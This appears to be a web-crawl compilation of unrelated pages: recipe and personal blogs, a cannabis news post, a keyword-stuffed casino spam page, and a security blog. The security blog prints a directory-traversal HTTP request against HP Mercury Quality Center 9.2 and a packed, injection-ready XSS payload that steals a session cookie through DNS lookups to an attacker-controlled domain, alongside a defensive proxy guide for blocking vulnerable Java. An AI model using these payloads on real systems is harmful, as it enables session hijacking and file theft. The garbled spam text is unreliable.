text:
Strange Musings *hyuk*
Wednesday, June 22, 2005
  5:58 PM — Nga Boo's Beef with Oyster Sauce
Nga Boo is my maternal grandmother. She was born in Shanghai in 1913 to an upper-class family. She had bound feet and broke an arranged marriage to marry my peasant Cantonese Nga Cone. They fled Mao's Communists in 1946 and she was forced to become a waitress and learn to cook from Nga Cone at a Chinese resturaunt they owned in New Jersey. Later, she became a high school gym teacher, beginning our family tradition of three generations of teachers.

This is the first thing I learned how to cook, and Nga Boo's lack of recipie is probably what inspired my own slap-dash style of cooking (when I bother to cook...).

Quantities are for one person. Vary according to taste and appetite.

Cut flank steak perpendicular to the grain into strips (<=1cm thick, 5cm long). Marinade overnight (if time allows) with half the oyster sauce and all the corn starch.

Dice yellow onion and put in frying pan on low/medium heat (no oil required) while slicing beef (if you didn't marinade overnight). Add beef and all other ingredients. Continue to cook on low/medium heat, stirring frequently or continually, for 5-20 minutes, or until beef is cooked but before it gets tough.

Serve with white or jasmine rice (prepared separately per normal instructions, 1/2 cup dry) and a stir fry vegetable. I recommend take either fresh green peas (in pod) or fresh asparagus (1-3 handfuls, raw, of either) and simmer in a pan with chicken soup stock until vegetable just turns bright green.

Your Nga Boo is a darling! I hope she's doing all right.
What an amazing woman. Reading between the lines you have to admire someone who was able to break out of tradition like that and to do the almost impossible. Some people are irrepressible and they pick themselves up and go even further.

I guess you've read "Wild Swans : Three Daughters of China" by Jung Chang? I read that at a time I was commuting and my nose would be stuck in it even as I walked across platforms, up stairs... it is one of those books you just cannot put down even though it appears so long it is easy to read.
Post a Comment

Main Blog

WARNING: This blog often contains disturbing stories of science and math as used in every day life.

If you are easily disturbed or a Luddite, surf on elsewhere.

My Photo
Location: New England, United States
October 2003 / November 2003 / December 2003 / February 2004 / March 2004 / May 2004 / October 2004 / November 2004 / January 2005 / February 2005 / March 2005 / April 2005 / May 2005 / June 2005 / July 2005 / August 2005 / September 2005 / October 2005 / November 2005 /

Get more hits on your blog!

website stat
visitors since Sept 2005
Site Stats

My Blogs
Friendly Blogs
Hidradenitis Suppurativa (HS) links
moon phase

This page is powered by Blogger. Isn't yours?


Content-Type: application/http; msgtype=response

WARC-Identified-Payload-Type: application/xhtml+xml

WARC-Type: response

text:
Wednesday, September 19, 2012

Have you filled a bucket today?

My oldest daughter is now in the second grade, and there's all this talk about "bucket filling."  You can either fill someone's bucket by making them happy or you can  be a dipper.  The idea behind celebrating the kindnesses (bucket filling) is to bring awareness to how each of us as an individual has an impact on those around us.  Her teacher is encouraging the class to pay attention to how their words and actions can either make someone else happy or sad.
pail (bucket) stamp - 100 proof press
This is a card I made for my daughter - a quick little bucket-filler to stick in her backpack.  I'm actually quite pleased that there is a focus like this, an attempt to teach students to be kind and respectful to one another, in the school. It's nice to hear about the whole class all working together to create a more positive environment.

1 comment:

Hannah said...

What a beautiful card and I love the idea!!! Inspiring!

warcinfo:
robots: classic
hostname: ip-10-147-3-28.ec2.internal
software: Nutch 1.6 (CC)
isPartOf: CC-MAIN-2018-09
operator: Common Crawl Admin
description: Wide crawl of the web for February 2018
publisher: Common Crawl
format: WARC File Format 1.0
conformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf


WARC-Identified-Payload-Type: text/html

text:
Monday, May 29, 2017

marketization-- refers to the whole spectrum of efforts toward privatization and contractualization of economic activity in developing and transitional economies, ranging from the replacement of a command economy with market mechanisms to typical "economic liberalization" measures (such as privatization, liberalization of investment and trade restrictions, and elimination of price controls

No comments:


WARC-Truncated: length

text:
Exclusive VIPSpecial offer

Cash advance casino atm

how to understand nfl betting lines

The Envoy Local Bank Payment process allows cash advance casino atm to deposit funds into your casino account by using your local banking system. This means that you do not need a casino amy rothstein or debit card to play, and you are not required to disclose your banking details.

Cash advance casino atm is no laughing
  • Players welcome!
  • Exclusive member's-only bonus
  • 97% payout rates and higher
  • Licensed and certified online casino
  • 100% safe and secure

Einer cash advance casino atm wish I

Sign-up for real money play!Open Account and Start Playing for Real

Free play here on endless game variations of the Wheel of Fortune slots

  • Wheel of Fortune HollywoodWheel of Fortune Hollywood
  • Wheel of WealthWheel of Wealth
  • Wheel of CashWheel of Cash
  • Spectacular wheel of wealthSpectacular wheel of wealth
  • Fortune CookieFortune Cookie
  • Wheel Of Fortune Triple Extreme SpinWheel Of Fortune Triple Extreme Spin

Play slots for real money

  1. Open accountComplete easy registration at a secure online casino website.
  2. Make depositDeposit money using any of your preferred deposit methods.
  3. Start playingClaim your free deposit bonus cash and start winning today!
Register with the Casino

VIP Players Club

Join the VIP club to access members-only benefits.Join the club to receive:
  • Unlimited free play
  • Exclusive bonuses
  • Monthly drawings
  • Slot tournaments
  • Loyalty rewards
Join the Club!

California, gambling cash advance casino atm 1327 "A

Umum, pekerjaan cash advance casino atm All symbolsSoy Fanatico de la Teknologia. Me Gusta el cine, la musica etc. Estudio en la Universidad de Puerto Rico Recinto de Rio Piedras. Apple e Intel iran por un reloj inteligente?. La competencia entre pen casino proveedores de celulares en Puerto Rico esta en todo su apogeo y quienes nos beneficiamos cash advance casino atm esto somos nosotros, los consumidores.

With binary option daily trading charts best mobile app is a mobile binary option program graphs banc de or lottery of risk and cashin on the standard economy and ipad using option.

But the best part was I became so frustrated which I never do usually with video games I decided to finally use the ONE slot machine I had never tried.

4 years cash advance casino atm dell'utente: Fruit Shop?

Very truly yours -Marian Most sincerely, -Philomina V.

Cash advance casino atm?

If you are going to 'trail' - play a card without capturing, it is better not to play mobi casino games a spade cash advance casino atm there is a reasonable alternative. It is sometimes best to trail a card of a rank that has already been played.

Can I play Wheel of Fortune in Vegas?Fashion Show cash advance casino atm put me in

To prove that the Mega Millions cash advance casino atm deserving of all the praise it has gotten over the years, on March 6 of 2007, the second largest jackpot in US history was won, split among two tickets. Both winners chose to take the cash option.

Casino Mate also has a robust loyalty program with Blue, Silver, Gold, and Platinum tiers of rewards points.

Shift Supervisor casino atm cash advance award

Assuming Macau remains the single gaming tourist location in China for decades to come, it can absorb recessions and government rulings and churn out strong earnings.

Ninja profileFeb 17th, 2016 8:53am kenny.

  • Crazy slots casinoCrazy slots casinoUsing a logistic regressions approach, it is shown that a reallocation of structural funds as outlined in Agenda for a stronger and wider union COM 97 2000 final, 2000 and successive revisions of the financial perspectives for an enlarged union leads to a redistribution of FDI by approximately 4-8 percentage points from the current EU members to the accession countries 2004 scenario and 7-10 percentage points 2007 scenariorespectively.
  • How to win jackpot lotteryHow to win jackpot lotterySituated in the centre of Michigan's lower peninsula, this 3 story Dutch Colonial home features period woodwork and furnishings with spacious guestrooms.
  • Casino helsinki bad beat jackpotCasino helsinki bad beat jackpotA: This is the only system that compensates individual strings, requires no fret board modifications and uses conventional tuning methods.
  • Juegos casino slot tragamonedas gratisJuegos casino slot tragamonedas gratisCara paling mudah adalah mulai dari nol dan menambah atau mengurangi sesuai dengan kartu ditangani.
  • Netent free casino slotsNetent free casino slotsMy credits have slowly but steadily been rising this away.
  • Define casinoDefine casinoNa som vi gar mot hosten onsker veldig mange a bli morkere i haret, noe som I kontrast til den toffere rocka trenden la 80-tallet kan man i host ogsa hente.


text:
Thursday, February 3, 2011

Dallas, Television, and a Ball.

So, I went to Dallas. It's so strange to step into someone else's reality for two weeks. I always feel like I'm ready, like I know that it's going to be strange but I also know that I won't lose touch with myself.

I am usually wrong.

In Dallas I have my brother, his wife and their 3 daughters age 10, 2 and 14 months. They have a big house with a pool in the back yard, and a middle class lifestyle. My brother and I often remark about how foreign it feels to him that he has a middle class life in a big house in a suburban subdivision. We came from very little, so it's still strange when one of us jumps class. My brother has always been my ultimate hero, the guy who could do no wrong, a rugged, moody, pile of perfection, and he basically still is.

The theme of their house is television. There is a giant flatscreen in almost all of the rooms and at least one of them is always on. Sometimes it's being watched, but mostly it is used for background noise and a little adult company for my stay-at-home sister in law. I haven't really been around television much in the last decade. I watch some shows online, but I haven't owned a tv in over 5 years and haven't been an avid watcher since I was 10.
There are so many messages about self-hatred being flung out at a constant rate. You are not thin enough, your boobs are too small, you penis is too flaccid, not enough hair, too much hair, too poor, terrible job,  not enough education, not muscular enough, and on and on and on.
The people who I know that are constantly surrounded by tv don't actively notice. It's as if they already know that they are not good enough and they watch television because they would rather not think about it for the moment. It is a vicious cycle and it's entirely aimed at getting money.
It's very frustrating that most American's are involved in a thing that takes away all of their self worth to replace it with random images, mediocre plot lines and more fear than you can shake a stick at.

I've been home for 5 days now. I have attempted to go on a diet, cut my hair, change my clothes, and generally hide from the world. I am not used to the constant barrage of commercial media, and I got blind sided. I had a full breakdown last night because the boyfriend wanted to but butter on the orzo. Butter makes you fatter you know, and fat people are lazy slobs that don't have any friends or anyone to love them. If you want to be loved for who you are, you cannot eat butter.

I think I'm back in control of my own self again, the volume of the commercial messages is fading.

In other news I have a fantastic new friend in Austin and she is doing this cool thing that I get to be a part of, and, same friend is putting on a formal winter ball. I spent all week working on my dress and it's nearly finished now. Pictures will happen after the affair. I'm going to a ball! I feel like a fairy tale princess.

That about does it for me.
Join me next time, when I Zia Sophia take on the open road.

No comments:

Post a Comment


text:
Thursday, July 05, 2007

I am a phenomenon to you, but only a noumenon to myself

I haven’t been able to write lately, not a word. My mind has been pre-occupied with lots of change. But I have been able to read many books and am learning so much.

Just as Zimbabwe did when I was living in Edinburgh, Edinburgh now feels like a lifetime ago to me, it‘s another cocoon which has been shed. I missed it for a week and then that emotion silently slipped away. I hear my parents talking about being homesick and, even more so, it hammers down the fact of making the most of the moment you’re in. Time does not repeat itself.

The funny thing is that the more I enjoy experiences the more forgettable they become. Not in an sinister way, it’s just that I will be too involved in the next moment to think about the last. It is difficult to explain without sounding careless and harsh. But the happier I am, the more aware and focused I can be, the more loving I am to everything around me, therefore the past and the future aren’t important as they’ve been, gone and not yet arrived. Though the experience is never forgotten as that is what has made me who I am now, and pulls me in the direction I’m going.

The past few months have been great for me. Slowly and surely life is revealing one step at a time to me. Going from someone who was ’totally in control’ I feel like I have thrown my cards to the wind and said "Take me where you will"! And that’s what life is doing. It is fun, exciting, relaxing, peaceful and effortless. I guess this is the equivalent of a 5* luxury spa resort for the mind and soul :) … But one (literally) located where it rains a lot....

Blogger David Quick said...

Good to hear you sounding so cheerful. Zimbabwe has been getting a lot of national press attention over the last week or so too. Are you moving with your parents?

10:17 am
Blogger Shirlz said...

Thanks David, it's great being around family again.

Zimbabwe is not good :(

Yep, I'm going to stay with my parents for a little while. My flatmate from Edinburgh is also coming to Newbury soon, so the rent is cheaper and meal-times are more fun ... We're all keeping each other cheerful!

4:48 pm

Post a Comment

<< Home


text:
Friday, April 19, 2013

A Man Donates $1 Million Towards The Legalization Of Cannabis

Lottery Winner Really Wants The Legalization Of Cannabis ToTake Place

It was just last November, when Bob Erb, a farmer and grandfather, (who has been playing the lottery since he was part of the cannabis culture back in the 1970s), finally got his reward and became a multi-millionaire. Mr. Erb won a $25 million jackpot and he has used his money for all different types of things. One of the most notorious and the one I like the most is, that he recently donated $1 million towards the legalization of cannabis and this will surely help the cause.

Mr. Erb says that he has been smoking cannabis since he was 16 years old and that he usually smokes around 15 joints a day. Legalizing marijuana is something that he would certainly love to see and he has now become one of the biggest financial supporters of 420 Day, which is a cannabis related festival that takes place tomorrow in Canada and will surely raise the attention of millions of people across that nation.

What Mr. Erb Thinks About The Legalization Of Cannabis

Sarah Boesveld, who is a journalist for the National Post in Canada, got to interview Mr. Erb and they had quite an interesting conversation. Below, I will quote a couple of questions from the interview that Sarah had with the new multi-millionaire, about the legalization of cannabis.

Sarah: Erb is a great name for a marijuana activist.
Mr. Erb: I’ve heard that before. I’ve got a couple of buddies and their last name is ‘Joynt.’ They hung around together, they’d be walking down the street and we’d say ‘Oh, that’s just what we were looking for, a couple of Joynts!’

 Sarah: Why is legalization such a crucial issue?
Mr. Erb:  Marijuana legalization would result in income taxes collected, increased spending on home mortgages, municipal infrastructure upgrades, more money for healthcare, education, pensions — all without raising taxes. The  revenue from B.C.’s marijuana industry’s estimated at $12-billion annually. Not only that, there would be a huge drop in crime of all types. Of course that’s not good news for police because pot crime is their bread and butter. Several medical studies show that people who use pot regularly are usually of higher education and IQ. Pot smokers may be dope-heads, but they’re not dopey people. Prohibition is the biggest social injustice of my lifetime.
 Sara: Have you always been a dope smoker?
Mr. Erb : I started smoking pot in 1968 at age 16 and by the time I was 21, five years later, I was probably smoking 15 joints a day — still do. I’m usually up at 4 a.m. and smoking my first one by 4:20 a.m.

As you can see, Mr. Erb has quite an interesting view on the legalization of cannabis and I do agree with most of his ideas. I definitely agree with the fact that not all people who smoke marijuana are “dopey” and I know for a fact that there are many people who have built successful businesses and some who are even working for very large corporations and who smoke as much herb as Mr. Erb does. Please remember to share and like this article and to join our mailing list by leaving us your email in the box to the right.

The Legalization Of Cannabis Is Really Getting Closer!

Grasscity.Com affiliate program bongs waterpipes glass pipes
Want to see your ad here? Send us an e-mail

No comments:

Post a Comment


text:
• The Successful Pursuit of Happiness

    Zoltan Bathory
    In the pursuit of happiness there are two things that are important: success and friendship.

    Are you happy? There are few things as important as being happy. In fact, happy people are not only a lot better at what they do; they also care more about others and are less affected by setbacks. We should therefore make the pursuit of happiness our primary goal in life.

    Pursuit of Happiness
    The first point to realise is that you are part of a physical universe and the nature of this universe means there are certain rules you cannot escape. There is no point in denying those rules. They are not complicated and once you understand and utilise them you have a better chance at finding what you are looking for.

    If the pursuit of happiness is your goal then there are two key rules:

    - Opposites: the universe is interplay between opposites. For all of us this means a constant dance between those things that pull us down and have the potential to destroy us and those things that create stability. Being happy means consistently moving away from those things that will eventually scatter our particles across the universe.
    - You need success avoiding and winning over the negative.
    - Cause and effect: everything follows the law of cause and effect. Everything that happens is caused by something and is also the cause of something else. In the pursuit of happiness this means you need to understand what causes a decline of happiness in you, and what it is that will protect you from the negative and provide you with stability and growth. True friendship is one of the primary ingredients to finding happiness in life because friends can bring all their own experiences, skills and resources to support you when you find yourself on a slippery slope.

    In the pursuit of happiness, success is like climbing a ladder. At the bottom of the ladder are the monsters you want to avoid. The monsters represent all kinds of suffering. The higher you can climb the ladder, the safer you are from the monsters.

    Climbing the ladder means achieving success in gaining money, possessions, knowledge, understanding and friendships. Money gives you access to resources like food, shelter and clothing but it also opens up additional opportunities. Possessions help create stable environments and enable you to do things more easily such as using a car to get around. Knowledge and understanding helps you to better anticipate and plan for future events as well as deal with past events so they don't pull you down. Friendships give you access to additional resources such as money, possessions, knowledge, understanding and support as well as opportunities to achieve success.

    To get higher up the ladder requires the luck of avoiding bad luck. Bad luck is when a ladder strut breaks and you fall - you lose your job, become ill, run into legal trouble, miss an opportunity and so on. You therefore need to climb as high as possible so you have space on the ladder to regain your footing in case you fall.

    The pursuit of happiness requires other people to help you. Friends not only help you climb the ladder but they can catch you when you fall. The more friends you have, and the more intimate those friendships, the more help and support you will have on the ladder.

    The key benefits offered by friendship are this:

    - You have access to additional resources. Your friends might help you out financially, you might be able to borrow things from them that you need and they might open doors for you to gain the resources you need. E.g. they might help you get a better paying job.
    - Friends give you access to additional knowledge, experience and wisdom. With friends you don't only have your own limited knowledge and perspective on things but you have access to all the knowledge and experiences they've picked up in their lives as well. This vastly improves your chances of working out what the best strategy is to find true happiness.
    - Friends offer support. Support means sharing the load. When things go wrong and the monsters try to pull you down support becomes a critical part of winning the battle. This support is not only externally, where friends offer support in troublesome circumstances, but internally as well where they support you emotionally.

    There are three basic options available to you in your pursuit of happiness. They are different strategies people choose and their success is dependent on the amount of luck a person has. These strategies are:

    - You can climb the ladder without support from friends. If your luck holds you can get up the ladder high enough, so falling a couple of struts now and then does not matter. This is a somewhat lonely strategy.
    - This is the pursuit of fame, power and wealth and the expense of all other things.
    - You can abandon the effort to climb the ladder. If you can build enough intimate friendships you will have the support needed so you do not fall. It's a risky strategy if you are close to the bottom.
    - This is the pursuit of idleness.
    - You can climb the ladder sensibly: climb without being obsessive about success and have enough close friends to help and support you in case things go wrong.
    - This is the pursuit of contentment.

    All three require enough luck to avoid the bad luck that might get you into the monster's jaws.

    Of course, we create our own opportunities and with more opportunities we have a better chance at getting lucky. This is where the right kind of attitude comes in. Attitude is defined as the way in which you think, feel and behave. In the pursuit of happiness you therefore also need to find the right attitud

  • Commentaires

    Mercredi 8 Février 2017 à 23:17
    Hi, I do believe this is a great site. I stumbledupon it ;) I'm going to return yet again since I book
    marked it. Money and freedom is the best way to change, may
    you be rich and continue to guide other people.
    Mercredi 15 Février 2017 à 15:40
    Cette nouvelle machine à ache qui est apparue il y a quelques moments déjà est
    devenue la plus achetée et la plus recommandée des shoppers.
    Lundi 27 Février 2017 à 00:01
    Veryy good post. I certainly appreciate this site.
    Keep it up!
    Dimanche 12 Mars 2017 à 18:44
    Mү brother reсߋmmended I might like this blog. He was totally right.

    This post truly maԁe my day. You сann't imagine simply һow much time
    I had spent for this information! Thanks!
    Mercredi 15 Mars 2017 à 14:57
    Everyone loves it whenever people come together and
    share views. Great blog, keep it up!
    Mardi 21 Mars 2017 à 09:50
    Today, I went to the beachfront with my children. I found a sea shell and
    gave it to my 4 year old daughter and said "You can hear the ocean if you put this to your ear." She placed the
    shell to her ear and screamed. There was a hermit crab inside and it pinched her
    ear. She never wants to go back! LoL I know this is entirely off topic but I had
    to tell someone!
    Samedi 8 Avril 2017 à 01:29
    Eu acho que o admin deste local é na verdade
    trabalhando duro para dele página web, desde aqui todas as
    coisas é qualidade com base dados .
    Dimanche 16 Avril 2017 à 19:00
    I'm extremely pleased to find this web site.
    I wanted to thank you for your time for this particularly wonderful read!!
    I definitely appreciated every part of it and i also have you saved as a favorite to look at new information in your
    Mercredi 17 Mai 2017 à 15:13
    Prеtty! This has ƅeеn an incredibly wonderful post.
    Thank you for supplyіng these details.
    Dimanche 18 Juin 2017 à 01:21
    I take pleasure in, result in I found just what I
    used to be having a look for. You've ended my 4 day long hunt!
    God Bless you man. Have a nice day. Bye
    Jeudi 13 Juillet 2017 à 04:17
    Hi, i feel that i saw you visited my blog thus i came to
    go back the choose?.I'm trying to find issues to enhance my website!I guess its ok to make use of a
    few of your concepts!!
    Samedi 5 Août 2017 à 12:29
    Great blog here! Also your site loads up very fast! What host are you using?
    Can I get your affiliate link to your host? I wish my web site loaded up as
    quickly as yours lol
    Samedi 12 Août 2017 à 15:07
    Keep on writing, great job!
    Jeudi 31 Août 2017 à 15:22
    I wanted to thank you for this great read!! I certainly enjoyed every bit of it.

    I've got you bookmarked to check out new stuff you post…
    Dimanche 1er Octobre 2017 à 22:18
    After looking into a few of the blog posts on your website,
    I honestly appreciate your way of writing a blog.

    I book-marked it to my bookmark webpage list and will be checking back in the near future.

    Take a look at my website too and let me know your opinion.
    Samedi 30 Décembre 2017 à 09:20
    I have been browsing online more thаn 3 һ᧐urs today, үet I
    never found ɑny intersting article liкe yours. It's pretty worth
    enmough fοr me. In my opinion, if aⅼl web owners and bloggers mɑde gⲟod
    ontent аs you dіd, the net ԝill be much moore uѕeful tһan еver bｅfore.
    Mardi 30 Janvier à 13:19
    Hey there! I understand this is somewhat off-topic however I had to ask.

    Does running a well-established website like yours require
    a large amount of work? I am brand new to blogging however I do write in my diary
    everyday. I'd like to start a blog so I will be able to share
    my personal experience and views online. Please let me know if you
    have any recommendations or tips for new aspiring blog owners.
    Appreciate it!
    • Nom / Pseudo :

      E-mail (facultatif) :

      Site Web (facultatif) :

      Commentaire :

    Suivre le flux RSS des commentaires

    Ajouter un commentaire

    Nom / Pseudo :

    E-mail (facultatif) :

    Site Web (facultatif) :

    Commentaire :


text:
Author Archive

Droppin 0day, 5 years too late…

November 9th, 2012 No comments

We all have it on our networks – old software that just won’t go away. Somebody bought it to do a specific function, but that person left or the software didn’t work or add enough value to keep up with maintenance or upgrades. But yet it sits and festers on the network. It very well may be a niche product that security researchers don’t bother looking at. But one day, for some reason, you as the security guy end up finding it, looking at it, and dropping 0day on it – 5 years after the software was released and 3 versions behind the current release.

So how do we handle this kind of stuff? One question may be what is the chance that the vulnerability has been carried forward through the various releases to the current version. At this point it’s a long-standing 0day and congrats, you can make software better! Go report that shit. But let’s say it doesn’t, the vuln (if it was ever even found) no longer exists in recent versions. If reported to the vendor, most likely they will just say ‘Upgrade to the latest version’. Why would they bother creating a patch for a non-supported, non-current software package used in a niche market? So back to the question of what to do with your 5-year old 0day. Do we just release exploits/disclosure for an unpatched vulnerability into the wild under the pretenses that a patch exists, namely the next version of the software?

Here’s my feelings on this – someone made a decision not to upgrade that software. Maybe it was running just fine and they felt they could use those funds for something more productive. Maybe they just didn’t pay attention to what was on their network. I don’t think in either case your 0day is going to convince these people to pay for that upgrade (assuming that this is a commercial product). But maybe that vulnerability, in the hands of the internal security or external auditors, might be able to help sway decision makers to either transition away from that software or upgrade it. Keeping it to yourself doesn’t really do anything to advance the cause. So in that vein, here’s my 5-year old 0day, droppin’ it hardc0r3….

HP Mercury Quality Center 9.2 Directory Traversal Vulnerability

A directory traversal vulnerability exists within a JBoss component of HP Mercury Quality Center 9.2 that allows for the exfilatration of arbitrary files. It appears that this component runs as a local privileged user by default, so most anything should be up for grabs.

Tested only on version 9.2 running on the Windows platform.

Test Case

 GET ..\..\..\..\..\..\..\..\..\..\windows\system32\drivers\etc\hosts HTTP/1.1
 Host: <host>:8083
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Proxy-Connection: keep-alive

The offending service, launched by the ‘QCJavaService.exe’ service, appears to be a JBoss component. The directory traversal string must be sent unencoded and therefore is not generally accessible through a browser, but the attached Metasploit module or a raw HTTP interface like BURP or handwritten HTTP packets sent through telnet or netcat will work as well. I was not able to determine whether this was an issue within JBoss or how HP/Mercury is deploying JBoss.

Metasploit code completely taken from sinn3r’s Yaws HTTP Traversal module. Total props for the code.

Metasploit Module:

XSS and DNS Covert Channels

October 9th, 2012 No comments

Like gum and nuts (They’re finally together!), let’s combine two classic attack techniques into one big gooey ball of goodness. Nothing here is anything new, just another way of looking for solutions to a problem.

So you’ve found an XSS flaw in an application and you’d like to steal some of the wonderful treasures in a user’s browser, but some nasty security administrator only allows access to a small set of approved sites. Therefore the classic method of requesting an external script with the cookie value as a query probably is not going to work. Enter covert channels via DNS requests.

Even if the specific HTTP request is being blocked by some form of proxy, in the vast majority of cases a DNS request will still be allowed. We’re not looking for the ability to tunnel out encoded packets or any such fancy-pants trickery. We just want a normal old A record request. We don’t care if the client system itself makes the request or if it passes through an internal resolver – it just has to make it out. And obviously the request needs to be made to a domain where we control the SOA and can log the incoming requests. Again, barring the need to be truly stealthy, we don’t really care if a record is returned – our goals are achieved once the request is made.

The Code

So, couple assumptions going on here.

  1. We’ve found an XSS flaw in an application
  2. We know the session mechanism or other such token that we want to steal from the end user.
  3. We have our DNS server.
  4. We can inject into the HTML body (as opposed to being only able to inject into a contained element ala javascript events)

So, let’s look at a basic version of the code:

function dnSession() {
var myDomain = "";
var prizeCookie = "phpsessid";
var cookieJar = document.cookie.split(/;\s*/);
for (var i = 0; i < cookieJar.length; i++)
var cookiePiece = cookieJar[i];
if (cookiePiece.toLowerCase().indexOf(prizeCookie) != -1) {
var cookieCrumb = cookiePiece.split("=");
var cookieType = cookieCrumb[0];
var cookieYum = cookieCrumb[1];

Very simple, we define a couple variables. The first is the root of the domain that we will query. The second is the specific cookie name we are trying to grab the value for. Since we’ve already identified our vulnerability, we should already know exactly what we are looking for.

After that, we carve up the full cookie string into individual name/value pairs by doing a split on the ‘;’ character. Then we iterate through that array until we find a pair that matches our desired cookie. Split that pair and we have our specific token value that we trying to steal. At this point, we’re at a pretty normal stage in XSS exploitation. In fact, nothing about this technique is really all that different from a typical XSS token exfiltration. The special sauce is just in how we are approaching the exfiltration. Normally, as we see in this code example, we’d just write out a tracker img or an AJAX request or a form post or something that would rely on the client being able to reach the attacker controlled web server to deliver the token. In this paradigm, we are looking to construct a domain that when placed into the DOM results in a DNS lookup. The hostname being resolved contains the token being passed to the attacker.

So back to out example. Once we’ve grabbed our token, the javascript writes out an hidden img tag that has it’s source set to <token> Since we control, we receive the token when the client attempts to retrieve the image file. Voila! We’ve exfiltrated data through the control specifically meant to keep users from sending data out of the network.

Trimming it Down

So, we have a chunk of working javascript code. This would be great if we could inject the code as part of a linked script file, but the whole point of this exercise is to pull off data exfiltration when we can’t get the user to our script page. So we need to get this into a smaller package. The first step would be to pack the javascript. Let’s use Dean Edward’s packer for this task. Packed using both the ‘shrink variable’ and ‘base62’ options, the code above looks like:

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7 3(){2 a="8.9";2 b="h";2 c=4.j.5(/;\\s*/);k(2 i=0;i<c.l;i++){2 d=c[i];m(d.n().o(b)!=-1){2 e=d.5("=");2 f=e[0];2 g=e[1];4.p("<q r=\'t:6;u:6;v:w;\' x=\'y://"+g+"."+a+"\'>")}}}3();',35,35,'||var|dnSession|document|split|1px|function|zombietango|net||||||||phpsessid||cookie|for|length|if|toLowerCase|indexOf|write|img|style||height|width|display|none|src|http'.split('|'),0,{}))

Smaller and definitely injectable. But let’s go one more step and URL encode this bad boy (I like Burp’s decoder module – use what you like):

In this specific example, I’ve just wrapped the JS in a set of <script> tags. This may or may not be appropriate based on your injection point. You’ve now got a nice, albeit long, piece of URL ready text to pop into your vulnerable query parameter. I’m sure there are some inefficiencies in my JS code that could be resolved to make the final package shorter, but this at least gets the idea across.

Categories: Security Tags:

Blocking Vulnerable Java Requests at the Network Layer

August 30th, 2012 No comments

Another week, another Java exploit. Java as a server platform and as a desktop/mobile still has a role to play in modern computing, but the same really can’t be said for the browser side of the technology. As seen in both the general populace and in monitoring metrics from my own networks, Java is one of (if not the) top targets for drive-by exploits. In my work environment, where the cause of a desktop compromise is known, Java is responsible for over 90% of the initial compromise vectors.

So let’s talk defense here for a bit. Security and administrative teams have several options (as well as challenges) in dealing with the risk associated with Java in their environment:

  1. Remove it. Depending on the shop, this may or may not be an option. Like any other software platform, if it isn’t needed the safest course is to remove the package entirely. This is not always an option though as there are still a number of business related applications that require Java as a desktop or browser platform.
  2. Disable the browser plugin only. This is the functionality that is exploited in drive-by or targeted link attacks, so if is not needed (but a desktop Java environment is) disabling the browser object cuts way down on the attack surface. Not all shops have this ability, however, especially for non-IE browsers. Asking the users to do it themselves without the ability to monitor compliance is not really an effective option here.
  3. Patch it. In regular circumstances, this is a great idea. Java is notorious for being hard to patch in stand-alone mode (who hasn’t seen the ‘Click here to update Java’ followed by the ‘A new update is ready to install’ pop-ups. Just install it, I already clicked you once!). Many smaller shops (and some big ones too) lack the tools to effectively manage and patch 3rd-party software. And in this specific case there isn’t even a patch for the issue, so additional controls are needed to provide a sufficient level of protection.
  4. Push the control onto the network. This can be deployed as a stand-alone measure or in conjunction with other controls listed here (my preferred option). Network controls such as forward proxies or IPS devices that can filter on the layer 7 payload can be used to help prevent a system that has missed the previous sets of controls from being exposed to the final exploit payload. In fact, the rest of this article will be about utilizing a Bluecoat web proxy to prevent the Java plugin from reaching the internet in general.

Configuring Bluecoat to deny access to the Java User Agent

While these intructions are for the Bluecoat series of web proxies, the same methodology should be portable to whatever proxy you have in place. If the proxy cannot do deep inspection on SSL wrapped connections, you may lose some level of control though I don’t believe that I’ve seen a site that specifically served general target malware over SSL in my day-to-day monitoring.

First, we’ll create a new policy line and set the action to ‘Deny’ (the default typically). Move the policy into place in your policy chain so that it will be most effective (I’ve place mine in the first couple of slots, though your set-up may vary).

Depending on other controls or requirements, you can set the ‘Service’ to only look at defined HTTP/HTTPS traffic or the catch-all ‘Any’ service.

Building the Rule Objects

Let’s start by setting the source object. Right click on the Source field that probably reads as ‘Any’ and select ‘Set’. In the ‘Set Source Object’ window that comes up, click ‘New’ and select ‘Combined Source Object’. Give the object a name, something like ‘Unpatched Java’.

Now to create the specific objects that will detect the use of the Java plugin. Luckily, when Java creates an HTTP socket connection, it set’s it User-Agent request header to the full version of the JRE in use. This is specifically the case here when the browser plugin requests a JAR or class file from an HTTP server. It is this request that we specifically want to block. To start, let’s create a new ‘Request Header’ object by clicking New->Request Header.

Name this new object something like ‘AllJavaUserAgents’. Set the ‘Header Name’ to ‘User-Agent’. Set the ‘Header Regex’ to:

This will now match on any Java 4 through Java 7 User-Agent string (if you still have Java versions earlier than 4 in your environment, you probably don’t have a Bluecoat proxy or a security program in general). Example matches would include:

User-Agent: Java/1.6.0_33
User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_05

Save this new object and create a second Request Header object. This one will be for fully patched (securely patched, not just latest version patched). Set the name to something like ‘FullyPatchedJava1_6’ and the ‘Header Regex’ to:

Once Java 7 is patched, we can create a third object that encompasses the patched version string as well so that this rule can be used to protect against threats to machines that have not been patched to the latest versions, but for now only the 6 branch is secure (in a relative sense).

Back in the Combined Object Editor window, select the ‘AllJavaUserAgents’ object and add it to the first/top rule block. Select the ‘FullyPatchedJava1_6’ object and add it to the second/bottom rule block. Click the ‘Negate’ check box for the second/bottom rule block. This sets up a match condition for any Java User-Agent string except Java/1.6.0_33 or Java/1.6.0_34 (v. 34 is a bug fix release, and not a security release but can still be found out there).

Final Unpatched Java CSO

From here, depending on your security requirements, you can either add this object directly to the ‘Source’ field of your policy rule or add it to another combined source object as needed. We had specific subnets that we were applying this rule to, so I created a second combined object rule that matched on both the subnets in question and the ‘Unpatched Java’ object.

